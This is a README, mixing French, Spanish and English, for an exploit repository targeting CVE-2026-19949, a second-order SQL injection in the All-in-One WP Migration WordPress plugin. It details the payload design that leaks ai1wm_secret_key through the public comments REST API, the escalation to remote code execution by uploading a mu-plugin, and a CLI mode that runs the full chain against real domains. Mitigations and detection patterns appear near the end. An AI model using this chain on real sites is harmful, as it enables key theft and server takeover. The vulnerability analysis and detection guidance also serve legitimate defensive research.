Reproducible proof-of-concept basé sur Docker pour CVE-2026-19949, une injection SQL de second ordre dans All-in-One WP Migration <= 7.109 qui divulgue la ai1wm_secret_key via l'API REST anonyme et permet une escalade vers l'exécution de code à distance.
Injection SQL de second ordre non authentifiée dans All-in-One WP Migration and Backup (WordPress)
qui permet d'exfiltrer la ai1wm_secret_key et, avec elle, d'exécuter du code à distance (RCE).
Lire ceci en : English · Español
| CVE | CVE-2026-19949 |
| Plugin | All-in-One WP Migration and Backup (ServMask), ≤ 7.109 |
| Correctif | 7.110 (20 août 2026) |
| CVSS | 8.8 (Élevée) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Condition préalable | Qu'un administrateur exporte et restaure le site (action de routine avec ce plugin) |
| Chercheur | Jack Taylor (programme de bug bounty de Wordfence) |
⚠️ Usage exclusivement éducatif et défensif. Ce laboratoire attaque un site WordPress qui tourne sur votre propre machine, dans des conteneurs Docker. Ne l'utilisez pas contre des systèmes qui ne vous appartiennent pas ou pour lesquels vous n'avez pas d'autorisation explicite.
Le flux d'exportation/importation du plugin vide la base de données en SQL
(database.sql dans le .wpress) puis, lors de l'importation, réécrit chaque instruction
avec Ai1wm_Database::replace_table_values() pour remplacer les URLs et les préfixes de
table. Pour localiser les littéraux de chaîne, il utilise le regex :```php
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
Le problème réside dans le *negative lookbehind* `(?<!\\)` : **il n’examine qu’un seul octet**
avant chaque guillemet candidat à la fermeture, au lieu de compter la *run* complète de
backslashes. Dans un dump MySQL, des données se terminant par `\` sont écrites comme
`...\\'` — un guillemet de fermeture précédé d’un nombre **pair** de backslashes
(chaîne réelle se terminant par un backslash) — mais le regex la croit échappée et
**sur-capture le littéral suivant**. Le callback exécute alors
`unescape_mysql → replace_serialized_values → escape_mysql` sur la valeur
sur-capturée, et ce cycle ré-émet une séquence de guillemets/backslashes
déséquilibrée qui **bascule la limite de la chaîne MySQL** dans la déclaration
résultante, promouvant des données de l’attaquant en SQL exécutable.
## 2. Cause racine : le regex qui bascule la chaîne
Avec le trackback planté (voir §4), la ligne dans `database.sql` est :```sql
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);
L'auteur se termine par \ au niveau des données → le dump l'écrit comme \\ →
la guillemet de fermeture est précédée d'un run pair. Le regex sur-capture
jusqu'à la guillemet d'ouverture du champ suivant et le callback ré-échappe
l'ensemble :```
'Jack Blogs\\',' ← contenido sobre-capturado
unescape → 'Jack Blogs\',' ← strtr colapsa los pares
escape → 'Jack Blogs\\', ← una comilla ESCAPADA nueva ha aparecido
salida → 'Jack Blogs\\','…' ← el par \ , ' voltea el límite de la cadena
À partir de là, tout ce qui suivait dans la phrase est re-tokenisé avec la
parité modifiée (les données qui étaient des chaînes deviennent du code et
vice-versa). Le regex corrigé de 7.110 traite la même ligne et la renvoie
**identique**.
Vous pouvez le vérifier octet par octet, sans rien exploiter, avec
`make demo-flip` (`exploit/04_demo_flip.php`), qui exécute le code RÉEL du
plugin 7.109 et 7.110 sur la même ligne de dump.
## 3. Le correctif (7.109 → 7.110)```diff
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );
The new pattern tokenizes MySQL literals correctly: either a character that is not a quote/backslash, or an escape pair \x, with possessive quantifiers. A run of paired backslashes no longer confuses the closing of the literal.
The chain published by Wordfence (Sept. 2026) has four steps:
wp-trackback.php?p=<id>). The blog name (→ comment_author) ends in \ and the URL (→ comment_author_url) carries the payload. WordPress stores them without touching the slash. In the published variant, the first trackback acts as a time bomb: it forces the cut of the import pass (10 s limit) so that the payload executes in a later pass, when the importer has already restored the site's ai1wm_secret_key in wp_options (the exporter excludes it from the dump; the importer rewrites it between passes).ai1wm_secret_key to an approved comment of type comment, visible in the comments REST API without authentication.admin-ajax.php?action=ai1wm_import is also registered for anonymous users (wp_ajax_nopriv_ai1wm_import) and its only barrier is ai1wm_verify_secret_key(). With the leaked key, the attacker drives the import chain with their own .wpress that includes a mu-plugin; the Ai1wm_Import_Mu_Plugins step (priority 270 of the chain) extracts it to wp-content/mu-plugins/ → code execution on the next load.This repository verifies the chain end to end with a single planted trackback (the time bomb is not necessary in the lab: the row executes in a later pass after the key reset).
The researcher's exact exploit is not public (exhaustive search on 2026-09-07: GitHub — the 2 existing repos are an empty template and a mass tool with nonexistent endpoints —, Exploit-DB/PacketStorm 0, Sploitus only indexes those fake repos, WPScan without PoC, forums only news; forensic detail in research/poc-publica/ANALISIS.md).
We derived it ourselves from the analysis of the mechanism (exploit/investigacion/). Design:
\ → the one-byte lookbehind of the vulnerable regex over-captures the following literal and the unescape→escape cycle flips the string limit.comment_author and a , string absorb the offset; a leading comma in the URL restores the devoured structural separator)./**/ as separators:
\' and in code zone would leave an orphan slash (error 1064) → hence the hex (0x616931776d… = "ai1wm_secret_key");sanitize_url removes spaces (and prepends http:// to anything that does not start with /) → hence the /*pwn*/ start and the /**/;comment_author_url) = the subquery that reads the key → the key ends up in a public field; the 11th = 0x31 ('1', approved comment); the 13th = 0x636f6d6d656e74 ('comment', visible in the anonymous REST);) closes the tuple with exactly 15 values and # (MySQL comment without space, which sanitize_url respects) neutralizes the rest of the original statement.SERVMASK_PREFIX_options: the importer rewrites the SERVMASK→real prefixes before the regex pass, so the payload works on sites with any table prefix (verified). The only target-specific data is its URL, carried in the excerpt to trigger the importer's strpos filter (it only rewrites lines containing it).The resulting statement (the one MySQL executes during restoration):
comment_author_url = (SELECT option_value FROM <prefix>_options WHERE option_name='ai1wm_secret_key') — the authentic key ends up in a field that the REST API publishes without authentication.
| Chain step | Status | Where |
|---|---|---|
| Reproducible vulnerable installation (WP 7.1 + plugin 7.109) | ✅ | make lab |
| Unauthenticated planting via trackback (byte-exact, auto-approved) | ✅ | make plant |
| Admin export; the dump contains the planted row | ✅ | make export |
| Root cause: regex 7.109 flips the string limit (vs 7.110 intact) | ✅ | make demo-flip |
| Admin restoration: the flip rewrites the SQL and corrupts/loses the row in 7.109 | ✅ | make restore |
| Key exfiltration (own derived payload) → real leak via unauthenticated REST | ✅ | make leak |
| RCE: unauthenticated import with the key → mu-plugin executed | ✅ | make rce-auto |
| Negative control: in 7.110 the row survives intact, no leak | ✅ | make control-7110 |
| WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3 matrix: complete chain ✓ in all | ✅ | research/test-wp-versions.sh |
| Full remote chain (HTTP only, valid for a real domain) | ✅ | python3 cli/poc.py explotar … |
Verified end-to-end result: after the admin's export+restore, the authentic ai1wm_secret_key appears as the author_url of an approved comment in GET /wp-json/wp/v2/comments — with no authentication whatsoever — and with it the RCE phase executes (mu-plugin extracted and executed, evidence markers in wp-content/). In 7.110 the row survives intact (the payload remains as inert data) and there is no leak.
The RCE phase is also demonstrated independently: its only input is the key, which can be passed by hand (make rce KEY=…) — the attacker's exact state after the leak.
Matrix run with bash research/test-wp-versions.sh 7.0 6.9 6.8
(lab rebuilt per version, plugin 7.109, identical payload):
| WordPress | plant | export | restore | leak | RCE |
|---|---|---|---|---|---|
| 7.1.0 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 7.0.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.9.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.8.3 | ✓ | ✓ | ✓ | ✓ | ✓ |
The mechanics are stable in all: sanitize_url respects the payload, wp_comments keeps the 15 columns and wp-trackback.php remains operational. The payload is independent of the table prefix (see §5).
docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y WP_VERSION configurables (7.109 por defecto, 7.110 control) docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org setup/init.sh core install, activa el plugin, crea la entrada con pings abiertos, comentarios sin moderación exploit/ ← fases numeradas de la PoC 01_plant_trackback.sh Fase 1 — trackback malicioso (no autenticado) 02_export.sh Fase 2a — export del admin (vía aiowpm_client) 03_restore.sh Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila 04_demo_flip.php Causa raíz byte a byte: regex 7.109 vs 7.110 05_build_wpress.py Construye el .wpress malicioso (package.json + mu-plugin) 06_rce_unauth.py Fase 3 — import no autenticada con la clave → RCE 07_leak_key.sh Fase 3a — lee la clave filtrada de la REST anónima aiowpm_client.py Cliente del protocolo AJAX del plugin (export/import por prioridades, como su JavaScript) wpress.py Lector/escritor del formato .wpress (bloques de 4377 B) mu_plugin.php Mu-plugin BENIGNO (marcadores de evidencia, sin shell) investigacion/ Arneses y fuzzers con los que se DERIVÓ el payload: harness.php (pipeline real del plugin + MySQL de prueba), afinar/test/fuzzers, NOTAS.md del análisis cli/poc.py CLI de demostración: lab / scan / verificar / explotar web/index.html Landing bilingüe del CVE (estilo base de datos de vulnerabilidades; sin dependencias externas) research/ test-wp-versions.sh Matriz de compatibilidad por versión de WordPress poc-publica/ANALISIS.md Refutación forense de las «PoC públicas» falsas Makefile Objetivos: lab, plant, export, restore, demo-flip, leak, rce-auto, full-demo, control-7110, demo-cli… README.md / README.en.md Esta documentación (ES/EN) .gitignore Fuera: informes con claves, .wpress generados, zips y fuentes del plugin (terceros), PoC falsas descargadas
Artefactos que se generan al ejecutar y **no se comparten** (ver `.gitignore`):
`informes/` (contienen claves filtradas), `exploit/malicious.wpress`,
`plugin-src/` (fuentes 7.109/7.110 extraídas para diff), `research/*.zip`
(zips originales de WordPress.org), `research/database.sql`,
`research/backup-legit.wpress` y los ficheros de las PoC falsas analizadas.
## 9. Requisitos y arranque rápido
Requisitos: Docker (con el plugin compose), make, python3 con `requests`, curl.```bash
make full-demo # laboratorio completo de cero: lab → plant → export →
# restore → flip → leak → rce (todo lo anterior de una vez)
Sortie attendue (résumée) :``` FASE 1 trackback plantado sin autenticar (error 0, comment_approved=1) FASE 2a export OK → .wpress en ai1wm-backups/ FASE 2b restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno: la fila con '' final se pierde (INSERT reescrito/corrupto en 7.109) FLIP regex 7.109: 'Jack Blogs\\', → 'Jack Blogs\\',' (límite volteado) regex 7.110: la línea sale IDÉNTICA LEAK ai1wm_secret_key visible en la REST de comentarios sin autenticar RCE import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949
Accès au site victime : <http://localhost:8080> — admin / `admin-password-123`
(entrée publique ID 4 avec pings et commentaires ouverts).
## 10. Phases étape par étape (objectifs de make)```bash
make lab # levantar/inicializar el laboratorio (plugin 7.109)
make plant # Fase 1 — plantar el trackback (anónimo)
make export # Fase 2a — exportar como admin
make restore # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX # Fase 3 — RCE pasando la clave a mano
make rce-auto # Fase 3 — RCE encadenado con la clave filtrada
make control-7110 # control negativo con el plugin parcheado
make lab-7109 # volver al laboratorio vulnerable tras el control
make demo-cli # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com # detección no invasiva
make landing # servir la landing del CVE en http://localhost:8090
make status | logs # estado de contenedores / log de WordPress
make down | clean # parar / parar y borrar volúmenes y artefactos
Une seule commande avec tous les modes ; génère des rapports dans informes/
(texte + JSON ; le dossier est hors du dépôt car il contient des clés) :```bash
python3 cli/poc.py lab # demo completa en el laboratorio (cadena + control 7.110)
python3 cli/poc.py scan https://www.tudominio.com # detección NO invasiva (versión del plugin)
python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima)
python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad
--admin-user TU_ADMIN --admin-pass TU_CLAVE --rce # cadena completa en TU dominio
- `lab` lève le laboratoire, exécute la chaîne complète et le contrôle
négatif avec 7.110, et rédige le rapport (`--sin-control` pour l'omettre).
- `scan` est 100 % passif : lit le `readme.txt` public du plugin, vérifie
`wp-trackback.php` et la REST des commentaires. Renvoie le verdict.
- `verificar` re-vérifie si la clé apparaît déjà dans la REST anonyme (p. ex.
des heures après l'installation, lorsque l'admin a effectué sa sauvegarde+restauration).
- `explotar` est INVASIF et exige `--acepto-responsabilidad` + confirmation
interactive du domaine : plante le trackback, simule l'admin
(export → téléchargement de la sauvegarde → re-téléversement et restauration ; **HTTP uniquement**, avec les
identifiants que TU fournis pour TON site), lit la clé filtrée et, avec
`--rce`, laisse un marqueur bénin via l'importation anonyme. Sans identifiants
d'admin : plante et reste en attente (`--esperar` pour tenir le leak ;
`--post-id` pour choisir l'entrée ; `--no-interactivo` pour les scripts).
## 12. Landing du CVE
Page statique bilingue (ES/EN, commutateur dans l'en-tête, préférence
mémorisée) qui explique le CVE et le payload avec une esthétique de base de
données de vulnérabilités : résumé, chaîne, **décomposition interactive du payload
segment par segment**, matrices de vérification et d'atténuation.```bash
make landing # sirve http://localhost:8090
Sans dépendances externes (ni CDN ni JS tiers) : fonctionne en ouvrant
web/index.html directement ou avec n’importe quel serveur statique.
wp-trackback.php et les
pingbacks (options de discussion / WAF), restreindre admin-ajax.php pour
les anonymes lorsque c’est possible, et surveiller l’apparition de fichiers
dans wp-content/mu-plugins/ et de l’option ai1wm_secret_key dans des
contextes anormaux (p. ex. commentaires).comment_author se termine par \ ou dont le comment_author_url contient
SELECT/**/, CONCAT(, des littéraux 0x… longs ou /*…*/ ; commentaires
approuvés dont le author_url est une chaîne alphanumérique de 12 caractères
sans schéma.exploit/investigacion/) : nous partons d’un
harnais (harness.php) qui charge les classes RÉELLES du plugin 7.109 et
exécute le pipeline contre un MySQL de test avec une clé factice. Les
fuzzers (search_payload.php, fuzz_rows.php, fuzz4.php,
bruteforce_author.php) ont exploré des alphabets critiques sur les quatre
champs contrôlables du trackback ; afinar_payload.php a ajusté le nombre d’
expressions (N=12) et test_payload_final.php a validé la conception
complète. NOTAS.md recueille l’analyse, y compris les murs structurels
(champs fixes de l’INSERT de wp_comments, sql_mode imposé par
l’importateur, filtre strpos de l’URL du site).research/poc-publica/ANALISIS.md) : les
deux dépôts GitHub qui prétendent le détenir utilisent des endpoints
inexistants (aio-migration/v1 avec permission_callback vs le ai1wm/v1
réel), un champ d’upload erroné (file vs upload_file), un format ZIP au
lieu de .wpress, et une prémisse circulaire. Aucune source tierce n’a de
PoC propre.lib/vendor/servmask/database/ class-ai1wm-database.php:1637 ; les sources extraites vivent dans
plugin-src/, non partagées)Ce matériel est publié à des fins éducatives et défensives : comprendre la
vulnérabilité, vérifier le correctif et construire des détections. La chaîne n’a
été exécutée que contre des laboratoires Docker personnels. Attaquer des
systèmes tiers sans autorisation écrite est illégal dans la plupart des
juridictions. Si vous administrez des sites affectés : mettez à jour vers
≥ 7.110, faites pivoter la ai1wm_secret_key (désactivez/réactivez le plugin
ou supprimez l’option pour qu’elle se régénère) et auditez
wp-content/mu-plugins/ et les commentaires récents.